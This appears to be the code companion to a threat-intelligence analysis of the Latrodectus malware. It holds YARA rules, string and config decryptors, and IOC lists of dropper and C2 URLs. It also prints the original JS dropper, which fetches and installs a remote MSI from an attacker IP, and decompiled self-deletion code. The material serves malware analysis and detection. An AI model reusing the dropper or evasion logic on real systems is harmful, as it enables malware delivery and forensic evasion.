Latrodectus dropped by BR4 🕷️

function installFromURL() {
    var msiPath;
    try {
        installer = new ActiveXObject("WindowsInstaller.Installer");
        installer.UILevel = 2;
        msiPath = "http:85.208.108.]63/BST.msi";
        installer.InstallProduct(msiPath);
    } catch (e) {

    }
}
installFromURL();

rule Latrodectus_JS_dropper {
  meta:
    purpose = "hunting"
    malware = "latrodectus"
    creation_date = "2024-06-25"
    description = "JS Dropper that DL and install a BR4 MSI"
    classification = "TLP:GREEN"
  strings:
    $s1 = "ActiveXObject"
    $s2 = "//////        installer.InstallProduct(msiPath);"
  condition: all of them
}

import os

urls = set()

for _, _, filenames in os.walk(path):
    for filename in filenames:
        with open(os.path.join(path, filename), "r") as f:
            raw_script = f.read()
        script = []
        for line in raw_script.split("\n"):
              if line.startswith("////"):
                  script.append(line.replace("////", ""))
                  if "msiPath = " in line:
                      urls.add(line.split(" = ")[-1].replace(";","").replace('"', ''))
return "\n".join(urls)

http://45.95.11.217/ad.msi
http://85.208.108.12/WSC.msi
http://85.208.108.63/BST.msi
http://146.19.106.236/neo.msi
http://193.32.177.192/vpn.msi
http://185.219.220.149/bim.msi
http://85.208.108.12/aes256.msi

  struct api {
    DWORD funcHash;
    HMODULE* hModule;
    LPVOID*  pFunc;
  };

  struct latrodectus_string {
    DWORD size;
    WORD seed;
    CHAR[] buff;
  };

import struct

def deobfuscate_string(buff: bytes) -> str:
    key, seed = struct.unpack("<ih", buff[:6])
    size = (key ^ seed) & 0xFF
    ciphertext = buff[6 : 6 + size]
    cleartext = bytearray(size)

    for index in range(size):
        key += 1
        cleartext[index] = (key ^ ciphertext[index]) & 0xFF

    return cleartext.decode("utf-16")


buff = bytes.fromhex(
    "2082130E3C826222562456265328462A462C722E5A3041325734543643385C3A3B3C0000"
)

print(deobfuscate_string(buff))

Custom_update

import struct

def bytes_to_clsid(byte_data):
    if len(byte_data) != 16:
        raise ValueError("A CLSID must be 16 bytes long")

    # Unpack bytes according to CLSID structure
    part1, part2, part3, part4_and_part5 = struct.unpack('<IHH8s', byte_data[:16])

    # Split part4_and_part5 into two parts
    part4 = part4_and_part5[:2]
    part5 = part4_and_part5[2:8]
    part6 = byte_data[8:16]

    # Format the CLSID
    clsid = f'{{{part1:08X}-{part2:04X}-{part3:04X}-{part4.hex().upper()}-{part5.hex().upper()}{part6.hex().upper()}}}'
    print(clsid)

# Example usage
byte_data = bytes.fromhex("C7A4AB2FA94D1340969720CC3FD40F85")
bytes_to_clsid(byte_data)

{2FABA4C7-4DA9-4013-9697-20CC3FD40F85969720CC3FD40F85}

__int64 self_delete_withADS()
{
  char v1[8]; // [rsp+40h] [rbp-D8h] BYREF
  HANDLE FileW; // [rsp+48h] [rbp-D0h]
  int *buff; // [rsp+50h] [rbp-C8h]
  unsigned __int64 v4; // [rsp+58h] [rbp-C0h]
  unsigned __int64 buff_size; // [rsp+60h] [rbp-B8h]
  int *v6; // [rsp+68h] [rbp-B0h]
  __int16 *v7; // [rsp+70h] [rbp-A8h]
  WCHAR *__attribute__((__org_arrdim(0,0))) v8; // [rsp+78h] [rbp-A0h]
  __int16 a2[76]; // [rsp+80h] [rbp-98h] BYREF

  if ( !self_filepath )
    return 0xFFFFFFFFi64;
  FileW = CreateFileW(self_filepath, DELETE, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
  if ( FileW == INVALID_HANDLE_VALUE )
    return 0xFFFFFFFFi64;
  deobfuscate_string(&byte_18000FA18, a2);      // :wtfbbq\x00
  v7 = a2;
  v8 = a2;
  v4 = 2i64 * whar::get_length(a2);
  buff_size = v4 + 24;
  buff = allocate_memory_rwx(v4 + 24);
  if ( !buff )
    return 0xFFFFFFFFi64;
  zero_mem_0(buff, buff_size);
  v6 = buff;
  buff[4] = v4;
  qmemcpy(v6 + 5, v8, v4);
  if ( SetFileInformationByHandle(FileW, FileRenameInfo, v6, buff_size) )
  {
    nt_free_mem(buff);
    CloseHandle(FileW);
    FileW = CreateFileW(self_filepath, DELETE, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
    if ( FileW == INVALID_HANDLE_VALUE )
    {
      return 0xFFFFFFFFi64;
    }
    else
    {
      v1[0] = 0;
      zero_mem_0(v1, 1ui64);
      v1[0] = 1;
      if ( SetFileInformationByHandle(FileW, FileDispositionInfo, v1, 1u) )
      {
        CloseHandle(FileW);
        return 0i64;
      }
      else
      {
        return 0xFFFFFFFFi64;
      }
    }
  }
  else
  {
    nt_free_mem(buff);
    return 0xFFFFFFFFi64;
  }
}

import base64

def rc4(data: str, key: str) -> str:
    """code from OALabs """
    x = 0
    box = list(range(256))
    for i in range(256):
        x = (x + box[i] + key[i % len(key)]) % 256
        box[i], box[x] = box[x], box[i]
    x = 0
    y = 0
    out = []
    for c in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        out.append(c ^ box[(box[x] + box[y]) % 256])
    return bytes(out)


buff = b"E3l9I35LXiOWKYHilDWuJoUOTU3NOyjNGnp3muFUOrabzvFw6FpoOQqdBZmsUV5E7FzXWHKgBafR6PcPckBsIB2vIhb3CZ/QHPoEO1hc0A++PpLQjpRWJkK3EFDxH/R5RYjhInO8hc0jTljC91GMVstjkxgQnuZLGBW6AV/gz4VrNMWUxFUtP4fdg/HKCREbRm+gIHkH/7Jc9Q=="
key = b"12345"
print(rc4(base64.b64decode(buff), key).decode())

CLEARURL
URLS|0|https://popfealt.one/live/
URLS|1|https://ginzbargatey.tech/live/
URLS|2|https://minndarespo.icu/live/
COMMAND|4|front://sysinfo.bin

import "pe"

rule latrodectus_exports : TESTING {
    meta:
        version = "1.0"
        malware = "Latrodectus"
        author = "Sekoia.io"
        description = "detection based on the DLL exports, this is specific to the BR4 campaign"
        creation_date = "2024-07-03"
        classification = "TLP:GREEN"

    condition:
        (pe.exports("stow") or pe.exports("homq") or pe.exports("scub")) and pe.number_of_exports >= 3 and uint16(0) == 0x5a4d
}

BYTE *__fastcall decode_string(WORD *obfuscated_data, BYTE *buff_dest)
{
  BYTE v3; // [rsp+20h] [rbp-18h]
  unsigned __int16 i; // [rsp+24h] [rbp-14h]
  unsigned __int16 length; // [rsp+28h] [rbp-10h]
  int seed; // [rsp+2Ch] [rbp-Ch]
  BYTE *ptr_buff_obfuscated; // [rsp+40h] [rbp+8h]

  seed = *(_DWORD *)obfuscated_data;
  length = obfuscated_data[2] ^ *obfuscated_data;
  ptr_buff_obfuscated = (BYTE *)(obfuscated_data + 3);
  for ( i = 0; i < (int)length; ++i )
  {
    v3 = ptr_buff_obfuscated[i];
    seed = prng2(seed);
    buff_dest[i] = seed ^ v3;
  }
  return buff_dest;
}

__int64 __fastcall prng2(int seed)
{
  unsigned __int64 v1; // kr00_8
  unsigned int v3; // [rsp+8h] [rbp+8h]

  v1 = (unsigned __int64)(((((seed + 0x2E59) << 31) | ((unsigned int)(seed + 0x2E59) >> 1)) << 31) | ((((seed + 0x2E59) << 31) | ((unsigned int)(seed + 0x2E59) >> 1)) >> 1)) << 30;
  v3 = ((((unsigned int)v1 | HIDWORD(v1)) ^ 0x151D) >> 0x1E) | (4 * ((v1 | HIDWORD(v1)) ^ 0x151D));
  return (v3 >> 31) | (2 * v3);
}

import struct
import binascii

def mask(a):
    return a & 0xFFFFFFFF


def prng2(seed):
    temp = mask((seed + 0x2E59))
    temp2 = temp >> 1
    temp = mask(temp << 0x1F)
    temp |= temp2
    temp2 = temp >> 1
    temp = mask(temp << 0x1F)
    temp |= temp2
    temp2 = temp >> 2
    temp = mask(temp << 0x1E)
    temp |= temp2
    temp ^= 0x6387
    temp ^= 0x769A
    temp2 = mask(temp << 2)
    temp >>= 0x1E
    temp |= temp2
    temp2 = mask(temp << 1)
    temp >>= 0x1F
    temp |= temp2
    return temp


def decode(s):
    (seed, l) = struct.unpack_from("<IH", s)
    l = (l ^ seed) & 0xFFFF
    if l > len(s):
        return b""
    temp = bytearray(s[6 : 6 + l])
    for i in range(l):
        seed = prng2(seed)
        temp[i] = (temp[i] ^ seed) & 0xFF
    return temp


string = binascii.unhexlify("F5788452F8781A6EEE4623114A578F9A44B3E10000")
print(decode(string).decode())

URLS|%d|%s

import re
import struct
import pefile
import logging

from collections import Counter
from typing import Optional, List, Dict

logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)


def parse_pe(pe_path: str) -> bytes:
    """Extract data from the .data section of the PE,
    returns a byte array otherwise raise ValueError"""

    pe: pefile.PE = pefile.PE(pe_path)
    data_section: Optional[pefile.SectionStructure] = None

    for section in pe.sections:
        if section.Name.startswith(b".data"):
            data_section = section

    if not data_section:
        raise ValueError("no .data section found")

    return data_section.get_data()


def identify_latrodectus_egg_obfuscated_string(data: bytes) -> re.Pattern:
    """Identify the pattern at the beggining of the obfuscated strings"""

    # need to identifier the EGG_OBFUSCATED_STRING...
    patterns = []
    for str_data in filter(lambda x: x, data.split(b"\x00")):
        patterns.append(str_data[:4])

    EGG_PATTERN = Counter(patterns).most_common(1)[0][0]  # get the most common pattern

    if not EGG_PATTERN:
        raise ValueError("no begging string pattern found")

    # note the best way to build the RE pattern...
    LATRODECTUS_EGG_STRING = re.compile(EGG_PATTERN + b"(..)")
    logging.debug(f"Found an STRING EGG pattern: 0x{EGG_PATTERN.hex()}")

    return LATRODECTUS_EGG_STRING


def deobfuscate_all_strings(
    data: bytes, LATRODECTUS_EGG_STRING: re.Pattern
) -> List[str]:
    """
    Split data by the LATRODECTUS_EGG_STRING,
    then deobfuscated each one of them and return their
    string value regarding their encoding: utf-8 or utf-16
    """

    strings: List[str] = []

    for match in LATRODECTUS_EGG_STRING.finditer(data):
        start_position = match.start() + 6
        key, seed = struct.unpack("<ih", match.group())
        size = (key ^ seed) & 0xFF

        ciphertext = data[start_position : start_position + size]
        cleartext = bytearray(size)

        for index in range(size):
            key += 1
            cleartext[index] = (key ^ ciphertext[index]) & 0xFF

        if cleartext.endswith(b"\x00" * 2):  # wide string
            strings.append(cleartext.decode("utf-16"))
        else:
            strings.append(cleartext.decode())

    return strings


def extract_configuration_from_cleartexts(strings: List[str]) -> Dict:
    configuration = {"C2": [], "rc4_key": "", "group": ""}

    for index, value in enumerate(strings):
        if value == "ERROR\x00":
            configuration["rc4_key"] = strings[index + 1].replace("\x00", "")
            logging.debug(f"rc4 key is: {configuration['rc4_key']}")
        if value == "/files/\x00":
            configuration["group"] = strings[index + 1].replace("\x00", "")
            logging.debug(f"latrodectus group: {configuration['group']}")
        if value.startswith("http"):
            configuration["C2"].append(value.replace("\x00", ""))
            logging.debug(f"update C2: {configuration['C2']}")

    logging.info(configuration)
    return configuration


def main(path: str) -> Dict:
    """take a PE path and return
    the Latrodectus configuration"""

    data = parse_pe(path)
    EGG_STRING = identify_latrodectus_egg_obfuscated_string(data)
    strings = deobfuscate_all_strings(data, EGG_STRING)
    configuration = extract_configuration_from_cleartexts(strings)
    return configuration


if __name__ == "__main__":
    import sys

    path = sys.argv[1]
    try:
        print(main(path))
    except Exception as err:
        logging.error(f"failed to extract configuration from {path}, error: {err}")